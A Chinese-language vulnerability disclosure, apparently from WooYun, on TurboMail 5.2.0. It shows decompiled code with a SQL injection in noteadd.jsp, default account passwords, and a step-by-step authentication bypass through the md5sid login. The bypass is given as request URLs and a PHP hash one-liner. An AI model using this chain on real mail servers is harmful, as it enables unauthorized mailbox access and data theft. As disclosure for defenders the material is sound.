0x1 前台注入turbomail\web\webapps\ROOT\enterprise\noteadd.jsp:
...
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);
return;
}
String id = request.getParameter("id");//id参数传入,没有过滤
Note note = null;
String cmd = "add";
if(id!=null){
note = Note.findById(id); //跟进findById方法
cmd = "edit";
}
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
UserInfouserinfo=ms.userinfo;
if(userinfo==null){
XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);
return;
}
Stringid=request.getParameter("id");//id参数传入,没有过滤
Notenote=null;
Stringcmd="add";
if(id!=null){
note=Note.findById(id);//跟进findById方法
cmd="edit";
}
...
turbomail.jar\turbomail\note\NoteServiceImpl.class:
public Note findById(String id)
{
String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
Note note = null;
try
{
conn = DB.getConnection();
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery(); //进入查询
...
1
2
3
4
5
6
7
8
9
10
11
12
13
publicNotefindById(Stringid)
{
Stringsql="select * from t_note where noteid="+id;//拼接sql导致注入
Connectionconn=null;
PreparedStatementpstmt=null;
ResultSetrs=null;
Notenote=null;
try
{
conn=DB.getConnection();
pstmt=conn.prepareStatement(sql);
rs=pstmt.executeQuery();//进入查询
...
0x2 默认用户登录之前TurboMail出过默认用户空密码登录的漏洞,http://**.**.**.**/bugs/wooyun-2014-058159,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。
mysql> select username,tpassword,enable from accountutil;
+------------+--------------------+--------+
| username | tpassword | enable |
+------------+--------------------+--------+
| nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321
| postmaster | | true |
| sec_bm | | false |//空密码
| sec_sj | | false |//空密码
+------------+--------------------+--------+
4 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
mysql>selectusername,tpassword,enablefromaccountutil;
+------------+--------------------+--------+
|username|tpassword|enable|
+------------+--------------------+--------+
|nobody|bm9ib2R5NTQzMjE=3D|false|//密码为nobody54321
|postmaster||true|
|sec_bm||false|//空密码
|sec_sj||false|//空密码
+------------+--------------------+--------+
4rowsinset(0.00sec)
nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class:
...
String md5sid = request.getParameter("md5sid");
md5sid = Util.formatRequest(md5sid, MailMain.s_os,
SysConts.New_InCharSet);...
else if (!md5sid.equals(""))
{
boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain,
md5sid);
if (bMD5SidAuth) {
userinfo = MailMain.s_auth.createUserInfo(str_uid,
str_domain);
}
}
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
Stringmd5sid=request.getParameter("md5sid");
md5sid=Util.formatRequest(md5sid,MailMain.s_os,
SysConts.New_InCharSet);...
elseif(!md5sid.equals(""))
{
booleanbMD5SidAuth=MD5SidAdmin.auth(str_uid,str_domain,
md5sid);
if(bMD5SidAuth){
userinfo=MailMain.s_auth.createUserInfo(str_uid,
str_domain);
}
}
...
由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法:turbomail.jar\turbomail\auth\MD5SidAdmin.class:
public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
WebUtil.setResponseNocache(response);
response.setContentType("text/plain;charset=UTF-8");String username = request.getParameter("username");
String domain = request.getParameter("domain");String useraccount = null;
if (username == null) {
username = "";
}
if (username.indexOf("@") != -1) {
useraccount = username;
} else {
useraccount = username + "@" + domain;
}
useraccount = useraccount.toLowerCase();String strSNO = Util.getSNO();MD5SidUserAccount md5sidua = null;
synchronized (m_objLock)
{
md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);
if (md5sidua == null)
{
UserAccount ua = UserAccountAdmin.getUserAccount(domain, username);
if (ua == null)
{
response.getWriter().write("nouser");
return;
}
String password = ua.getPassword();
if (password.startsWith("{md5}"))
{
password = password.substring(5);
}
else
{
password = Password.decode(password);
password = MD5.getHashString(password);
}
md5sidua = new MD5SidUserAccount();
md5sidua.m_strMD5Password = password;
md5sidua.m_strUserAccount = useraccount;m_hsMD5SidUserAccount.put(useraccount, md5sidua);
}
}
String snomd5password = strSNO + md5sidua.m_strMD5Password;
String strMD5Sid = MD5.getHashString(snomd5password);strMD5Sid = strMD5Sid.toLowerCase();MD5Sid md5sid = new MD5Sid();
md5sid.m_strMD5Sid = strMD5Sid;
md5sid.m_strSNO = strSNO;
if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) {
MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth");
} else {
MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件
}
md5sidua.m_hsSids.put(strMD5Sid, md5sid);response.getWriter().write(strSNO);//输出序号
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
publicstaticvoidGetMD5Sid1(HttpServletRequestrequest,HttpServletResponseresponse)
throwsServletException,IOException
{
WebUtil.setResponseNocache(response);
response.setContentType("text/plain;charset=UTF-8");Stringusername=request.getParameter("username");
Stringdomain=request.getParameter("domain");Stringuseraccount=null;
if(username==null){
username="";
}
if(username.indexOf("@")!=-1){
useraccount=username;
}else{
useraccount=username+"@"+domain;
}
useraccount=useraccount.toLowerCase();StringstrSNO=Util.getSNO();MD5SidUserAccountmd5sidua=null;
synchronized(m_objLock)
{
md5sidua=(MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);
if(md5sidua==null)
{
UserAccountua=UserAccountAdmin.getUserAccount(domain,username);
if(ua==null)
{
response.getWriter().write("nouser");
return;
}
Stringpassword=ua.getPassword();
if(password.startsWith("{md5}"))
{
password=password.substring(5);
}
else
{
password=Password.decode(password);
password=MD5.getHashString(password);
}
md5sidua=newMD5SidUserAccount();
md5sidua.m_strMD5Password=password;
md5sidua.m_strUserAccount=useraccount;m_hsMD5SidUserAccount.put(useraccount,md5sidua);
}
}
Stringsnomd5password=strSNO+md5sidua.m_strMD5Password;
StringstrMD5Sid=MD5.getHashString(snomd5password);strMD5Sid=strMD5Sid.toLowerCase();MD5Sidmd5sid=newMD5Sid();
md5sid.m_strMD5Sid=strMD5Sid;
md5sid.m_strSNO=strSNO;
if(ServerConf.i_LOG_LANGUAGE==TMConfig.LOG_LANGUAGE_CHINESE){
MailMain.s_log.log("0",4,4301,"GetMD5Sid1 useraccount:"+useraccount+" strSNO:"+strSNO+" "+" strMD5Sid:"+strMD5Sid+" auth");
}else{
MailMain.s_log.log("0",4,4301,"获取用户的MD5,用户:"+useraccount+" 序号:"+strSNO+" "+" MD5ID串:"+strMD5Sid+" 认证");//写入日志文件
}
md5sidua.m_hsSids.put(strMD5Sid,md5sid);response.getWriter().write(strSNO);//输出序号
}
md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class:
...
String type = request.getParameter("type");
...
else if (type.equals("getmd5sid1"))
{
MD5SidAdmin.GetMD5Sid1(request, response);
}
...
1
2
3
4
5
6
7
8
...
Stringtype=request.getParameter("type");
...
elseif(type.equals("getmd5sid1"))
{
MD5SidAdmin.GetMD5Sid1(request,response);
}
...
利用方式:第一步访问URL:http://www.wooyun.org/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid:
php -r "echo md5('序号'.md5('nobody54321'));"
1
php-r"echo md5('序号'.md5('nobody54321'));"
第二步使用md5sid登录(md5sid只能用一次):http://www.wooyun.org/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid